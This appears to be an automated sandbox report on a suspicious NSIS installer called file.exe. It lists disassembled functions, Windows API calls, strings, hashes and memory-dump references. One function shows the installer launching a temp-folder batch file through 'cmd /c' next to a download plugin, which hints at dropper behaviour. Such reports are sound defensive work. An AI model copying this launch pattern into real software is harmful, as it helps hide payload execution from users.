Opcode ID: bc80552e2adf98b6cbbc0c73f9d9449be503fe2b945a8ee0ce3316eb6b08af02
Instruction ID: 3df5019795aaf58f6817f8e3609a5bcb0d9fa216103f8ca083ea3247371bac5c
Opcode Fuzzy Hash: bc80552e2adf98b6cbbc0c73f9d9449be503fe2b945a8ee0ce3316eb6b08af02
Instruction Fuzzy Hash: 2441B231400A14BADB21BB65DC8DAAF7678EF81714F24813BF801B11D1DB7C4A81DEAE

Uniqueness

Uniqueness Score: -1.00%

Function 004068B4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNEL32(75923420,0042FAB8,C:\,00405F77,C:\,C:\,00000000,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 004068BF
FindClose.KERNEL32(00000000), ref: 004068CB

Strings

C:\, xrefs: 004068B4

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\
API String ID: 2295610775-3404278061
Opcode ID: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
Instruction ID: 0f602bcf77736d61886636fd33b874369bd8b56ce32760b4adaf045605f9a717
Opcode Fuzzy Hash: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
Instruction Fuzzy Hash: 24D012725161309BC2406738AD0C84B7B58AF15331751CA37F56BF21E0D7348C6387A9

Uniqueness

Uniqueness Score: -1.00%

Function 00403C29 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040694B: GetModuleHandleA.KERNEL32(?,00000020,?,00403642,0000000C,?,?,?,?,?,?,?,?), ref: 0040695D
Part of subcall function 0040694B: GetProcAddress.KERNEL32(00000000,?), ref: 00406978

GetUserDefaultUILanguage.KERNEL32(00000002,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0043F000,00008001), ref: 00403C43

Part of subcall function 0040649E: wsprintfW.USER32 ref: 004064AB

lstrcatW.KERNEL32(1033,0042CA68), ref: 00403CAA
lstrlenW.KERNEL32(004326A0,?,?,?,004326A0,00000000,0043F800,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,75923420), ref: 00403D2A
lstrcmpiW.KERNEL32(00432698,.exe,004326A0,?,?,?,004326A0,00000000,0043F800,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000), ref: 00403D3D
GetFileAttributesW.KERNEL32(004326A0), ref: 00403D48
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,0043F800), ref: 00403D91
RegisterClassW.USER32(004336A0), ref: 00403DCE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403DE6
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403E1B
ShowWindow.USER32(00000005,00000000), ref: 00403E51
GetClassInfoW.USER32(00000000,RichEdit20W,004336A0), ref: 00403E7D
GetClassInfoW.USER32(00000000,RichEdit,004336A0), ref: 00403E8A
RegisterClassW.USER32(004336A0), ref: 00403E93
DialogBoxParamW.USER32(?,00000000,00403FD7,00000000), ref: 00403EB2

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403C2E
.DEFAULT\Control Panel\International, xrefs: 00403C95
Control Panel\Desktop\ResourceLocale, xrefs: 00403C5D
_Nb, xrefs: 00403DAD, 00403E15
RichEd32, xrefs: 00403E65
.exe, xrefs: 00403D37
1033, xrefs: 00403C49, 00403CA5
RichEdit, xrefs: 00403E84
RichEd20, xrefs: 00403E57
RichEdit20W, xrefs: 00403E75, 00403E7B

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-1629884446
Opcode ID: 668670e2436d8560ce7a95db19fe7fb6d2e11ba6b6241f5eb901d3d615c3ba1a
Instruction ID: b78af383561608ccb802af496d710159af2d94eef556b4765221653e5b422f1b
Opcode Fuzzy Hash: 668670e2436d8560ce7a95db19fe7fb6d2e11ba6b6241f5eb901d3d615c3ba1a
Instruction Fuzzy Hash: 9F61C270100640BED220AF66ED46F2B3A6CEB85B5AF50013FF945B62E2DB7C59418B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00403082 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403093
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\file.exe,00000400), ref: 004030AF

Part of subcall function 00406047: GetFileAttributesW.KERNEL32(00000003,004030C2,C:\Users\user\Desktop\file.exe,80000000,00000003), ref: 0040604B
Part of subcall function 00406047: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 0040606D

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,00440800,00440800,C:\Users\user\Desktop\file.exe,C:\Users\user\Desktop\file.exe,80000000,00000003), ref: 004030FB
GlobalAlloc.KERNEL32(00000040,?), ref: 00403231

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403089
soft, xrefs: 00403170
Inst, xrefs: 00403167
C:\Users\user\Desktop\file.exe, xrefs: 00403099, 004030A8, 004030BC, 004030DC
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403258
Null, xrefs: 00403179
Error launching installer, xrefs: 004030D2

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\file.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-2174208811
Opcode ID: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction ID: 68b8bf8592918c5e7f10339d86c9767fe938295b8d0ed8def850c2c8f1d184f5
Opcode Fuzzy Hash: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction Fuzzy Hash: 8251A071A00204ABDB20AF65DD85B9E7EACEB49356F10417BF900B62D1C77C9F408BAD

Uniqueness

Uniqueness Score: -1.00%

Function 004032B9 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403323
GetTickCount.KERNEL32 ref: 004033CA
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004033F3
wsprintfW.USER32 ref: 00403406

Strings

A, xrefs: 00403483
*B, xrefs: 004032E4
... %d%%, xrefs: 00403400
A, xrefs: 00403379

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: *B$ A$ A$... %d%%
API String ID: 551687249-3485722521
Opcode ID: b04dab49cf37ea20022f46a8b7c81c1884779548b4bab61156e959bad0df676f
Instruction ID: 982be0e2f69b4341102b9ffd21d6361bbd2cc6e706b5ad6adcc0aeecd99e7a45
Opcode Fuzzy Hash: b04dab49cf37ea20022f46a8b7c81c1884779548b4bab61156e959bad0df676f
Instruction Fuzzy Hash: 1A516F71910219EBCB11CF65DA44B9E7FB8AF04756F10827BE814BB2D1C7789A40CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00401774 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B5
CompareFileTime.KERNEL32(-00000014,?,"cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat","cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat",00000000,00000000,"cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat",00440000,?,?,00000031), ref: 004017DA

Part of subcall function 00406557: lstrcpynW.KERNEL32(?,?,00000400,004036A4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406564

Part of subcall function 004055DC: lstrlenW.KERNEL32(0042BA48,00000000,00428E20,759223A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
Part of subcall function 004055DC: lstrlenW.KERNEL32(0040341D,0042BA48,00000000,00428E20,759223A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
Part of subcall function 004055DC: lstrcatW.KERNEL32(0042BA48,0040341D), ref: 00405637
Part of subcall function 004055DC: SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405649
Part of subcall function 004055DC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
Part of subcall function 004055DC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
Part of subcall function 004055DC: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

Strings

C:\Users\user\AppData\Local\Temp\nsg4683.tmp\INetC.dll, xrefs: 0040183A, 00401856
"cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat", xrefs: 00401792, 0040179B, 004017A8, 004017BA, 004017C6, 004017FC, 00401812, 00401830, 0040186C, 004018ED, 004018F6, 00401900, 0040190B

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: "cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat"$C:\Users\user\AppData\Local\Temp\nsg4683.tmp\INetC.dll
API String ID: 1941528284-3999571382
Opcode ID: 5d94e8e5950a8b2ff13ebbfcdf8ec3f64fd71dec5ee91277c9a67e4679359a3d
Instruction ID: f3bec3fd9c2ad120a03a9c06557e7274b723a0da437845685234e4033458a62e
Opcode Fuzzy Hash: 5d94e8e5950a8b2ff13ebbfcdf8ec3f64fd71dec5ee91277c9a67e4679359a3d
Instruction Fuzzy Hash: 0B419471800108BACB11BFA5DD85DBE76B9EF45328B21423FF412B10E2DB3C8A519A2D

Uniqueness

Uniqueness Score: -1.00%

Function 004068DB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068F2
wsprintfW.USER32 ref: 0040692D
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406941

Strings

%s%S.dll, xrefs: 00406927
UXTHEME, xrefs: 004068E4

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME
API String ID: 2200240437-1106614640
Opcode ID: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction ID: a217f45d9ff01499786c61cea798a126a457230594f844882b590dd92c6ddc53
Opcode Fuzzy Hash: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction Fuzzy Hash: 69F0F671501219A6CF14BB68DD0DF9B376CAB40304F21447AA646F20E0EB789B69CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00405F2E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406557: lstrcpynW.KERNEL32(?,?,00000400,004036A4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406564

Part of subcall function 00405ED1: CharNextW.USER32(?,?,C:\,?,00405F45,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405EDF
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EE4
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EFC

lstrlenW.KERNEL32(C:\,00000000,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405F87
GetFileAttributesW.KERNEL32(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 00405F97

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F2E
C:\, xrefs: 00405F34, 00405F39, 00405F3F, 00405F80, 00405F86, 00405F8E, 00405F96

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\$C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-1964270705
Opcode ID: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction ID: 0bce86d1d95a7c790b53086ee47358a3377499fb664fcb231eb74dc800c81f90
Opcode Fuzzy Hash: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction Fuzzy Hash: 7AF0F43A105E1269D622733A5C09AAF1555CE86360B5A457BFC91B22C6CF3C8A42CCBE

Uniqueness

Uniqueness Score: -1.00%

Function 00406076 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00406094
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00000000,00403530,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C), ref: 004060AF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040607B
nsa, xrefs: 00406083

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-44229769
Opcode ID: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction ID: 86e06e500a6970b3bc5bd370241205c1b86a0a172d82c816bfbfc8c597d973d5
Opcode Fuzzy Hash: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction Fuzzy Hash: 65F09076B50204FBEB10CF69ED05F9EB7ACEB95750F11803AED05F7240E6B099548768

Uniqueness

Uniqueness Score: -1.00%

Function 004020DD Relevance: 4.6, APIs: 3, Instructions: 73
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 00402108

Part of subcall function 004055DC: lstrlenW.KERNEL32(0042BA48,00000000,00428E20,759223A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
Part of subcall function 004055DC: lstrlenW.KERNEL32(0040341D,0042BA48,00000000,00428E20,759223A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
Part of subcall function 004055DC: lstrcatW.KERNEL32(0042BA48,0040341D), ref: 00405637
Part of subcall function 004055DC: SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405649
Part of subcall function 004055DC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
Part of subcall function 004055DC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
Part of subcall function 004055DC: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00402119
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402196

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 675ba370df0aff6a88f198f51fec383e6e490030c952a3077ac8e14d7d31a15f
Instruction ID: 3664ba2fa099400b069473e4dbd5787d756d46fb785c5e03f539e90392346bbf
Opcode Fuzzy Hash: 675ba370df0aff6a88f198f51fec383e6e490030c952a3077ac8e14d7d31a15f
Instruction Fuzzy Hash: C9219231904108BADF11AFA5CF49A9D7A71FF84358F20413FF201B91E1CBBD8982AA5D

Uniqueness

Uniqueness Score: -1.00%

Function 00405C1B Relevance: 4.5, APIs: 3, Instructions: 28
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406022: GetFileAttributesW.KERNEL32(?,?,00405C27,?,?,00000000,00405DFD,?,?,?,?), ref: 00406027
Part of subcall function 00406022: SetFileAttributesW.KERNEL32(?,00000000), ref: 0040603B

RemoveDirectoryW.KERNEL32(?,?,?,00000000,00405DFD), ref: 00405C36
DeleteFileW.KERNEL32(?,?,?,00000000,00405DFD), ref: 00405C3E
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405C56

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: db7f6541ced3958ca03b9484ad33d053af3f68eb31512009fba6ce163230055c
Instruction ID: 2cd832b5149a82f614695d38d41b3aba95dfe4f26efc6ce9164d7e3db346642e
Opcode Fuzzy Hash: db7f6541ced3958ca03b9484ad33d053af3f68eb31512009fba6ce163230055c
Instruction Fuzzy Hash: 9AE02B3110D7915AE32077705E0CB5F2AD8DF86324F05093AF492F10C0DB78488A8A7E

Uniqueness

